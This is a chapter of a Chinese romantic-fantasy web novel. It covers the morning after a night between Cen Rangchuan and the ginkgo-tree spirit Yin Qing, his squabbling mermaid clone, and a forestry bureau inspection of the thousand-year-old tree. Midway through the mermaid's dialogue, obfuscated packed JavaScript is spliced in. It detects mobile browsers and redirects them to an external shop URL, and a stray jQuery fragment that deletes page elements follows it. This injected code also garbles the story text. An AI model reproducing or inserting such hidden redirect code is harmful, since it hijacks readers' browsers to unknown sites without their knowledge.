18. 他是我弟,脑子有病
    一整晚。

    足足一整晚。

    岑让川头痛欲裂,手机震动好几下都不想管。

    身边回温的暖和气息凑近,又亲又咬。

    感觉自己只睡了几分钟的岑让川:“……”

    做一晚上还不够吗?!

    她腰真要断了。

    后半夜说好自己动的银清看她真不理他还生气了,一个劲地缠人。

    从他身上流出的汁液直接把薄毯打湿,反反复复已经换了三条毯子。

    “我真不行了,头疼。你让我睡会。”岑让川去扯他,一下子把他身上盖的被子也给扯了下来。

    银清也很累,但他一想到做完这一场没有下一场又觉得莫名慌张,空虚与孤寂织成网牢牢捆在他心头,非要她给予回应似乎才能缓解这种情绪。

    他扯了扯岑让川的袖子,小声说:“最后一次。”

    语气要多心虚有多心虚。

    岑让川忍住火气,闭眼说:“你说了五次最后一次,到底哪次是最后一次?”

    她真的服了,他哪来这么多精力干这事?

    昨天被雷劈得连主体都快没了。

    本体也奄奄一息,埋进土后突然分裂。

    看到他的分身鲛人又一副要死要活的模样,又聋又盲做一晚上就全都恢复了?!

    银清不说话,盯了她许久。

    山上他昏死过去那阵,他完全没想到她会清醒后把他带回来。

    千年记忆,反复回忆品尝夹杂在为数不多甜蜜中带血的碎片。

    前世她不爱他。

    今世她不爱他。

    却……没有丢下他。

    银清不确定地问:“你……现在心悦我吗?”

    她背过身去,烦躁道:“心悦你个头。闭嘴,我头疼。”

    冷心冷肺。

    薄情寡义。

    跟前世一样,没变。

    银清知道再闹下去她真要见阎王,不开心地重新躺下。

    他从她身后伸出手,去探她的脉搏。

    细弱、沉、涩。

    嗯……

    风寒、肾虚……

    好像是有点过分……

    银清老实了。

    岑让川闭上眼也不知道睡了有没有一分钟时间,身上再度压来重量。

    “……”她眼睛都没睁开就知道是谁,“别闹。”

    银清非要把她扒拉正,含糊道:“吃下去。”

    吃什么?!

    岑让川顿时想歪,眼睛立刻瞪大去看挨过来的……

    晨光朦朦胧胧映亮他半张脸,另外半张沉在暗色中。

    高挺鼻梁分割出明与暗。

    琥珀色双眸琉璃珠般,底色明亮清澈,含满一潭秋池般水光盈盈。

    约莫是一晚上吃饱了,昨夜脸色惨白,如今变得白里透红有光泽,似蒙着一层薄薄微光。连唇色都透着淡粉,含着白果的模样带着几分惑人的艳色。

    他被喂饱,容光焕发。

    与他形成鲜明对的岑让川被采阴补阳,黑眼圈加上感冒,脸色青黑,虚得不行。

    银清主动吻上她,把口中白果用舌尖推进她嘴里。

    “吃啊。”他满眼纯净地望着她说。

    岑让川:“……”

    是她脑子里黄色废料太多……

    她以为……

    算了。

    她含入白果咬开,口感味道有点苦涩,跟药丸似的。

    果渣随唾液流入喉咙,感冒通宵后带来的不适减轻许多。

    她不由问:“白果哪来的?”

    “我会结果。”说完,他又低头喂她一颗。

    这颗甜许多。

    但……

    岑让川评价:“这颗药味淡好多。真是白果?”

    银清趴在她身边,慢慢说:“我的根与其他草木都连在一处,所以,我结的果和其他银杏树不一样,外形是白果,但你也可以理解成是药。”

    难怪见效这么快。

    她嚼碎咽下。

    通宵一整晚,又被他闹醒,想睡回笼觉……

    正犹豫要不要睡,床头柜手机再次震动。

    一看来电。

    是林业局的。

    岑让川赶忙接起来,听到对面说已经在路上,十分钟后到。

    她被子一掀,踩着拖鞋换上T恤长裤。

    银清跟过来,但他没穿衣服。

    岑让川听到脚步声,一回头就看到他如白玉的皮肤上,全是她昨夜留下的痕迹。

    脖颈和胸前尤其多,简直像过敏一样,又红又肿。

    岑让川:!

    她昨晚下手有这么重吗?!

    银清后知后觉反应过来,缩回脚,默默用被子拢住整个自己,耳朵尖红了。

    岑让川震惊中带点流氓的视线被阻隔。

    脸色几经变幻,她左看右看问:“你衣服呢?”

    “……被你撕烂了。”

    “我哪那么大力气!”

    银清不说话,拿谴责的目光看她。

    委委屈屈的,跟她把他怎么着了一样。

    一个月不到,三次里只有第一次她是情不自禁,后两次都是他主动的吧?

    岑让川内心吐槽,她还没说话呢,他先害羞上了?

    昨晚上歇口气都不给的人是谁?

    要吃自助餐,一包纸巾用完不算,大半夜没纸只能用他结出来的树叶的人又是谁!

    她就啃了几口,不过分吧?

    岑让川扫视地上,到处找衣服。

    可看来看去,只有……

    她捡起地上两片破破烂烂的树叶,狐疑看他:“这不会是你衣服?”

    银清接过来,跟变魔术似的,就这么晃两下。

    中式上衣立时显现。

    上面盘扣七零八落,面料也抽丝了。

    “……”岑让川顿时记起昨夜的激烈,有点理亏,“我再去给你捡一片?”

    “不用了……我自己可以……”他小声说。

    岑让川听他这么说,心安理得下楼洗漱。

    看到镜子里憔悴的自己,她叹口气。

    男色误人!

    真是一步错步步错,第一天她怎么就忍不住呢?

    忆起那天场景,她都怀疑是不是银清那小子点了什么迷香一类的玩意。

    洗漱完,手机再次震动。

    她看都不用看就知道是谁,忙跑去前院开门。

    破宅子大得要命。

    从主屋小楼道大门用跑都要两三分钟。

    路过沿廊,池塘里鲛人饿得仰泳。

    看到她来,立刻喊道:“我要吃鱼!”

    “吃屎吧你。”岑让川头也不回,绕过壁照去开门。

    开玩笑,一顿五十块。

    还要配筷子盘子。

    她疯了才把这么贵的净水器养宅子里。

    饿死拉倒,银清主体活着就行。

    鲛人没反应过来,就看到她风一般刮走。

    回过神来,差点没气死。

    银清换好长袍悠哉悠哉路过,好心问他:“我要去买早餐,要给你带一份吗?包子油条,豆浆米粥,喜欢哪样?”

    “我要吃鱼!

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683084|142848||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”鲛人冲着自己主体发脾气,“你是不是有毛病,赶紧弄死她,侵占她的财产,每天过得苦哈哈的有意思吗?”

    “有意思。”银清故意拉开衣领,以手作扇扇风,“比你有意思。你既然什么都不要那就饿着吧。”

    鲛人眼睛又不瞎,看到他锁骨上的吻痕,用尾巴拍打水面,“我们是一体,你是我,我是你,你不喂我,饿的不还是你?!”

    “反正你不肯回到我这,你怎么样我都不关心~”疯狂一夜,纾解多日来的憋闷,银清心情明显好许多,朝鲛人挥手,“再会,我去给她买早餐。”

    鲛人见最后一个金主要走,忙喊:“包子豆浆行了吧!”

    “晚了,饿着吧。我妻尊不让我浪费钱~”银清边说边重新扣上长袍第一颗盘扣。

    鲛人正要再说什么,感应到有陌生人接近,立即沉入池塘,消失不见。

    银清正过脸看去,一行四五人,都是陌生面孔的中年男人,愣愣看着他。

    岑让川站在最前头,太阳穴突突疼。

    她当然知道他在跟谁说话,林业局的不知道啊!

    不仅不知道,这还是凶宅……

    果然,在目睹银清对着空荡荡池塘说话后,几个技术员面色各异。

    其中一个年轻的结结巴巴问:“他、他在跟谁说话?”

    连声音都透出颤音。

    “……不好意思,他、我……”岑让川一咬牙,“他是我弟,脑子有病。就是,爱自言自语。”

    池塘里似乎传来一声嗤笑。

    银清脸上那点笑意尽数消散。

    她在说什么?

    她弟弟?

    千年前,他是比她小。

    千年后,论资排辈他都可以当她祖宗了!

    银清面色不虞,死死盯着岑让川。

    她反瞪回去,用唇语警告他今天来外人,不许整幺蛾子。

    岑让川没注意他情绪变差,生拉硬拽把林业局来的技术员们推进宅子。

    一行人扛着设备跟她从沿廊旁的小路走去主屋小楼。

    早上醒来那会岑让川还没注意。

    昨天被雷劈去半边枝叶树干的银杏树今天状态居然好了这么多,简直是世界奇迹。

    昨夜留下的漆黑灼烧痕迹已然消失,秃掉的三分之一树冠也长回来了。

    要不是一地树枝和黑色大坑还在,根本看不出它曾遭到雷击。

    “它真被雷劈了?”年轻小伙不敢置信地问,上前去触碰这棵在镇子上鼎鼎有名的千年银杏树。

    岑让川汗流浃背,胡乱找借口:“昨天……傍晚打的,可能是我没看清楚,白天看确实没那么严重,哈哈。”

    她干笑两声。

    银清恢复能力也过于好了吧?

    这里要不是贫穷乡下小镇,又是禁飞区,非得被人看到。

    技术员们纷纷放下沉重设备围在树旁看它,跟看大明星似的。

    池塘边。

    等人路过后。

    鲛人冒出头来,肆无忌惮嘲笑:“哈哈哈哈还妻尊呢。睡了又有什么用?人家连个名分不愿意给你。他~是~我~弟~”

    银清随手捡起一块石子,掂掂重量,觉得不够,抄起一旁大石块。

    鲛人顿觉大事不妙,忙指向角落树叶下的小红船:“别砸,它还等着你妻尊回应呢!”

    银清才不管。

    “啪”一声,大石块被丢进池塘。

    溅起大片水花。

    银清丢完,情绪依旧不佳。

    略阴沉地看翻肚皮的鲛人,把他做掉?做一锅鱼头豆腐汤?